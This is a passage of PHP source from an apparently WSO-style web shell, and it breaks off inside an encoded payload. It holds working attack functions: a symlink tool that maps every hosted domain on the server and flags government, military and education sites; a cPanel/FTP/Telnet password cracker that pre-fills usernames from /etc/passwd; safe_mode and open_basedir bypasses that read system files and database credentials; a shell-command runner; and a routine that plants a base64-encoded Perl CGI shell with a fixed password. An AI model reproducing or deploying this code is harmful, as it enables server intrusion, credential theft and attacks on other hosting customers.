        foreach ($read_named_conf as $subject) {
            if (eregi('zone', $subject)) {
                preg_match_all('#zone "(.*)"#', $subject, $string);
                flush();
                if (strlen(trim($string[1][0])) > 2) {
                    $UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
                    $name = $UID['name'];
                    @symlink('/', 'sym/root');
                    $name = $string[1][0];
                    $iran = '\\.ir';
                    $israel = '\\.il';
                    $indo = '\\.id';
                    $sg12 = '\\.sg';
                    $edu = '\\.edu';
                    $gov = '\\.gov';
                    $gose = '\\.go';
                    $gober = '\\.gob';
                    $mil1 = '\\.mil';
                    $mil2 = '\\.mi';
                    if (eregi("{$iran}", $string[1][0]) or eregi("{$israel}", $string[1][0]) or eregi("{$indo}", $string[1][0]) or eregi("{$sg12}", $string[1][0]) or eregi("{$edu}", $string[1][0]) or eregi("{$gov}", $string[1][0]) or eregi("{$gose}", $string[1][0]) or eregi("{$gober}", $string[1][0]) or eregi("{$mil1}", $string[1][0]) or eregi("{$mil2}", $string[1][0])) {
                        $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
                    }
                    echo " \r\n<tr> \r\n\r\n<td> \r\n<div class='dom'><a target='_blank' href=http://www." . $string[1][0] . '/>' . $name . ' </a> </div> 
</td> 

<td> 
' . $UID['name'] . " \r\n</td> \r\n\r\n<td> \r\n<a href='sym/root/home/" . $UID['name'] . "/public_html' target='_blank'>Symlink </a> \r\n</td> \r\n\r\n</tr></div> ";
                    flush();
                }
            }
        }
    }
    echo "</center></table>";
    wsoFooter();
}
###################### Cpanel Cracker ############################
function actioncpcrack()
{
    wsoHeader();
    // Cpanel Cracker
    echo "<center> \r\n<h1>Cpanel Cracker</h1> \r\n<br> \r\n";
    $cpanel_port = "2082";
    $connect_timeout = 5;
    ?>
 
                <center> 
                <form method=post> 
                <table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4> 
                        <tr> 
                                <td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td> 
                        </tr> 
                        <tr> 
                                <td align=center>[ User names ]</td><td align=center>[ Password ]</td> 
                        </tr> 
                        <tr> 
                                <td align=center><textarea name=username rows=20 cols=20 class=box><?php 
    if ($os != "Windows") {
        if (@file('/etc/passwd')) {
            $users = file('/etc/passwd');
            foreach ($users as $user) {
                $user = explode(':', $user);
                echo $user[0] . "\n";
            }
        } else {
            $temp = "";
            $val1 = 0;
            $val2 = 1000;
            for (; $val1 <= $val2; $val1++) {
                $uid = @posix_getpwuid($val1);
                if ($uid) {
                    $temp .= join(':', $uid) . "\n";
                }
            }
            $temp = trim($temp);
            if ($file5 = fopen("test.txt", "w")) {
                fputs($file5, $temp);
                fclose($file5);
                $file = fopen("test.txt", "r");
                while (!feof($file)) {
                    $s = fgets($file);
                    $matches = array();
                    $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                    $matches = str_replace("home/", "", $matches[1]);
                    if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                        continue;
                    }
                    echo $matches;
                }
                fclose($file);
            }
        }
    }
    ?>
</textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[  Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td> 
                        </tr> 
                </table> 
                </form> 
                </center> 
                <?php 
    wsoFooter();
}
///Menus
####################### Baypassers #########################
function actionbypss()
{
    wsoHeader();
    echo ' 
<center> 
<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Jijle3 Bypasser       ]</a><br><br> 
<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Server User Function Bypasser       ]</a><br><br> 
<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Etc/passwd/ Function Bypasser      ]</a><br><br> 
<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br> 
';
    wsoFooter();
}
####################### bypassing #########################
function actionbypassing()
{
    wsoHeader();
    echo '<center><h1>Jijle3 Function Bypasser </h1>';
    error_reporting(0);
    set_magic_quotes_runtime(0);
    if (version_compare(phpversion(), '4.1.0') == -1) {
        $_POST =& $HTTP_POST_VARS;
        $_GET =& $HTTP_GET_VARS;
        $_SERVER =& $HTTP_SERVER_VARS;
    }
    function inclink($link, $val)
    {
        $requ = $_SERVER["REQUEST_URI"];
        if (strstr($requ, $link)) {
            return preg_replace("/{$link}=[\\d\\w\\W\\D\\S]*/", "{$link}={$val}", $requ);
        } elseif (strstr($requ, "showsc")) {
            return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/", "{$link}={$val}", $requ);
        } elseif (strstr($requ, "hlp")) {
            return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/", "{$link}={$val}", $requ);
        } elseif (strstr($requ, "?")) {
            return $requ . "&" . $link . "=" . $val;
        } else {
            return $requ . "?" . $link . "=" . $val;
        }
    }
    function delm($delmtxt)
    {
        print "<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";
        print "<tr><td><b><center><font size=2 color=#008080>{$delmtxt}</td></tr></table></center>";
    }
    function callfuncs($cmnd)
    {
        if (function_exists(shell_exec)) {
            $scmd = shell_exec($cmnd);
            $nscmd = htmlspecialchars($scmd);
            print $nscmd;
        } elseif (!function_exists(shell_exec)) {
            exec($cmnd, $ecmd);
            $ecmd = join("\n", $ecmd);
            $necmd = htmlspecialchars($ecmd);
            print $necmd;
        } elseif (!function_exists(exec)) {
            $pcmd = popen($cmnd, "r");
            while (!feof($pcmd)) {
                $res = htmlspecialchars(fgetc($pcmd));
                print $res;
            }
            pclose($pcmd);
        } elseif (!function_exists(popen)) {
            ob_start();
            system($cmnd);
            $sret = ob_get_contents();
            ob_clean();
            print htmlspecialchars($sret);
        } elseif (!function_exists(system)) {
            ob_start();
            passthru($cmnd);
            $pret = ob_get_contents();
            ob_clean();
            print htmlspecialchars($pret);
        }
    }
    function input($type, $name, $value, $size)
    {
        if (empty($value)) {
            print "<input type={$type} name={$name} size={$size}>";
        } elseif (empty($name) && empty($size)) {
            print "<input type={$type} value={$value} >";
        } elseif (empty($size)) {
            print "<input type={$type} name={$name} value={$value} >";
        } else {
            print "<input type={$type} name={$name} value={$value} size={$size} >";
        }
    }
    function permcol($path)
    {
        if (is_writable($path)) {
            print "<font color=#008080>";
            callperms($path);
            print "</font>";
        } elseif (!is_readable($path) && !is_writable($path)) {
            print "<font color=red>";
            callperms($path);
            print "</font>";
        } else {
            print "<font color=white>";
            callperms($path);
        }
    }
    if ($dlink == "dwld") {
        download($_REQUEST['dwld']);
    }
    function download($dwfile)
    {
        $size = filesize($dwfile);
        @header("Content-Type: application/force-download;name={$dwfile}");
        @header("Content-Transfer-Encoding: binary");
        @header("Content-Length: {$size}");
        @header("Content-Disposition: attachment; filename={$dwfile}");
        @header("Expires: 0");
        @header("Cache-Control: no-cache, must-revalidate");
        @header("Pragma: no-cache");
        @readfile($dwfile);
        exit;
    }
    ?>
 
<?php 
    $nscdir = !isset($_REQUEST['scdir']) ? getcwd() : chdir($_REQUEST['scdir']);
    $nscdir = getcwd();
    $sf = "<form method=post>";
    $ef = "</form>";
    $st = "<table style=\"border:1px #dadada solid \" width=100% height=100%>";
    $et = "</table>";
    $c1 = "<tr><td height=22% style=\"border:1px #dadada solid \">";
    $c2 = "<tr><td style=\"border:1px #dadada solid \">";
    $ec = "</tr></td>";
    $sta = "<textarea cols=157 rows=23>";
    $eta = "</textarea>";
    $sfnt = "<font face=tahoma size=2 color=#008080>";
    $efnt = "</font>";
    ///////////////////////////////
    //
    $mysql_use = "no";
    //"yes"   //
    $mhost = "localhost";
    //
    $muser = "root";
    //
    $mpass = "pass";
    //
    $mdb = "name";
    //
    $them = "xxx";
    //any site    //
    $you = "xx";
    //your username //
    $flib = "hack15.txt";
    //
    $folder = "hack15.txt";
    //
    ///////////////////////////////
    ################# PhP Hacked ########################
    // read greet //
    if ($linux == 'greet') {
        echo "</textarea>";
    }
    // read file unzend sorce //
    if (empty($_POST['sorce'])) {
    } else {
    }
    // read file unzend functions //
    if (empty($_POST['func'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        $zeen = $_POST['func'];
        require "{$zeen}";
        echo "Database : " . $config['Database']['dbname'] . " <X> ";
        echo "UserName : " . $config['MasterServer']['username'] . " <X> ";
        echo "Password : " . $config['MasterServer']['password'] . " <X> ";
        echo "</textarea></p>";
    }
    // read file symlink ( ) //
    if (empty($_POST['sym'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        $fp = fopen("hack15.txt", "w+");
        fwrite($fp, "Php Hacker Was Here");
        @unlink($flib);
        $sym = "/home/" . $them . "/public_html/" . $k;
        $link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
        @symlink($sym, $link);
        if ($k[0] == "/") {
            echo "<script> window.location = '" . $flib . "'</script>";
        } else {
            echo "<pre><xmp>";
            echo readlink($flib) . "\n";
            echo "Filesize: " . linkinfo($flib) . "B\n\n";
            echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
            echo "</textarea>";
        }
    }
    // read file plugin ( ) //
    if (empty($_POST['plugin'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        for ($uid = 0; $uid < 60000; $uid++) {
            //cat /etc/passwd
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    print "{$val}:";
                }
                print "\n";
            }
        }
        echo "</textarea>";
    }
    // read file id ( ) //
    if ($_POST['rid']) {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        for ($uid = 0; $uid < 60000; $uid++) {
            //cat /etc/passwd
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    print "{$val}:";
                }
                print "\n";
            }
        }
        echo "</textarea>";
        break;
    }
    // read file imap ( ) //
    $string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
    if (empty($_POST['rimap'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        $stream = imap_open($string, "", "");
        $str = imap_body($stream, 1);
        echo "</textarea>";
    }
    // read file Curl ( ) //
    if (empty($_POST['curl'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        $m = $_POST['curl'];
        $ch = curl_init("file:///" . $m . "\0/../../../../../../../../../../../../" . __FILE__);
        curl_exec($ch);
        var_dump(curl_exec($ch));
        echo "</textarea>";
    }
    // read file SQL ( ) //
    if (empty($_POST['ssql'])) {
    } else {
        echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
        $file = $_POST['ssql'];
        $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
        $mysql_files = explode(':', $mysql_files_str);
        $sql = array("USE {$mdb}", 'CREATE TEMPORARY TABLE ' . ($tbl = 'A' . time()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '{$file}' INTO TABLE {$tbl} FIELDS " . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY          '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM {$tbl} LIMIT 1");
        mysql_connect($mhost, $muser, $mpass);
        foreach ($sql as $statement) {
            $q = mysql_query($statement);
            if ($q == false) {
                die("FAILED: " . $statement . "\n" . "REASON: " . mysql_error() . "\n");
            }
            if (!($r = @mysql_fetch_array($q, MYSQL_NUM))) {
                continue;
            }
            echo htmlspecialchars($r[0]);
            mysql_free_result($q);
        }
        echo "</textarea>";
    }
    // read file copy & ini ( ) //
    if (isset($_REQUEST['safefile'])) {
        $file = $_REQUEST['safefile'];
        $tymczas = "";
        if (empty($file)) {
            if (empty($_GET['file'])) {
                if (empty($_POST['file'])) {
                    print "<center>[ Please choose a file first to read it using copy() ]</center>";
                } else {
                    $file = $_POST['file'];
                }
            } else {
                $file = $_GET['file'];
            }
        }
        $temp = tempnam($tymczas, "cx");
        if (copy("compress.zlib://" . $file, $temp)) {
            $zrodlo = fopen($temp, "r");
            $tekst = fread($zrodlo, filesize($temp));
            fclose($zrodlo);
            echo "<center><pre>" . $sta . htmlspecialchars($tekst) . $eta . "</pre></center>";
            unlink($temp);
        } else {
            print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !! \r\n</CENTER></FONT><br>";
        }
    }
    if (isset($_REQUEST['inifile'])) {
        ini_restore("safe_mode");
        ini_restore("open_basedir");
        print "<center><pre>" . $sta;
        if (include htmlspecialchars($_REQUEST['inifile'])) {
        } else {
            print "Sorry, can't read the selected file !!";
        }
    }
    ?>
 
</center><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%> 
<tr><td height=22% style="border:1px #dadada solid "><div><b> 
<center> 
Using copy() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=safefile value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd >  
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr> 
<td height=22% style="border:1px #dadada solid "><div><b><center> 
Using ini_restore() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=inifile value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd >  
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr> 
<td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using sql() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=ssql value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using Curl() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=curl value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table> 
<table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left> 
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using imap() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=rimap value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td> 
<td height=20% width=50%><div align=right> 
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using id() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=rid value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%> 
<tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using plugin() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=plugin value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr> 
<td height=22% style="border:1px #dadada solid "><div><b><center> 
Using symlink() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=sym value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table> 
<?php 
    wsoFooter();
}
####################### symlinker #########################
function actionsymlinker()
{
    wsoHeader();
    echo ' 
<center> 
<a href=# onclick="g(\'sym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Symlink File       ]</a><br><br> 
<a href=# onclick="g(\'symserver\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink Server From Named.conf ]</a><br><br> 
<a href=# onclick="g(\'cms\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ CMS Detector ]</a><br> 
';
    wsoFooter();
}
####################### CMS #########################
function actioncms()
{
    wsoHeader();
    ?>
 
    <form action="?y=<?php 
    echo $pwd;
    ?>
&x=cms_detect" method="post"> 
<center><b><h1>CMS Detector</h1></b></center><br><br> 
    <?php 
    if (!file_exists('pee.tmp')) {
        @fopen('pee.tmp', 'w');
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table>';
        $p = 0;
        if (is_readable("/var/named")) {
            $list = scandir("/var/named");
            $current_dir = posix_getcwd();
            $dir = explode("/", $current_dir);
            foreach ($list as $domain) {
                if (strpos($domain, ".db")) {
                    $domain = str_replace('.db', '', $domain);
                    $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                    error_reporting(0);
                    $link = $pageURL . 'pee/' . $owner['name'];
                    cms_add($link, $domain, $owner['name'], "WordPress");
                    cms_add($link, $domain, $owner['name'], "Joomla");
                    cms_add($link, $domain, $owner['name'], "vBulletin");
                    cms_add($link, $domain, $owner['name'], "WHMCS");
                    cms_add($link, $domain, $owner['name'], "PhpBB");
                    cms_add($link, $domain, $owner['name'], "MyBB");
                    cms_add($link, $domain, $owner['name'], "IPB");
                    cms_add($link, $domain, $owner['name'], "SMF");
                    cms_add($link, $domain, $owner['name'], "Drupal");
                    cms_add($link, $domain, $owner['name'], "e107");
                    cms_add($link, $domain, $owner['name'], "Seditio");
                    cms_add($link, $domain, $owner['name'], "osCommerce");
                }
            }
        }
    } else {
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table><br><br>';
        $content = file_get_contents($pageURL . 'pee.tmp');
        echo $content;
    }
    wsoFooter();
}
##################### CGI SHELL ####################
function actioncgi()
{
    wsoHeader();
    echo '<center><h1>Sample CGI Perl Shell</h1><div class=content>';
    echo '<center><h2>Password : jijle3</h2><div class=content>';
    mkdir('cgi-telnet', 0755);
    chdir('cgi-telnet');
    $kokdosya = ".htaccess";
    $dosya_adi = "{$kokdosya}";
    $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
    $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI \r\n\r\nAddType application/x-httpd-cgi .cin \r\n\r\nAddHandler cgi-script .cin \r\nAddHandler cgi-script .cin";
    fwrite($dosya, $metin);
    fclose($dosya);
    $cgishellizocin = ' 
IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5bIFNhbXBsZSBDR0kgU2hlbGwgXS9iPiAjIHNlcnZlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJqaWpsZTMiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi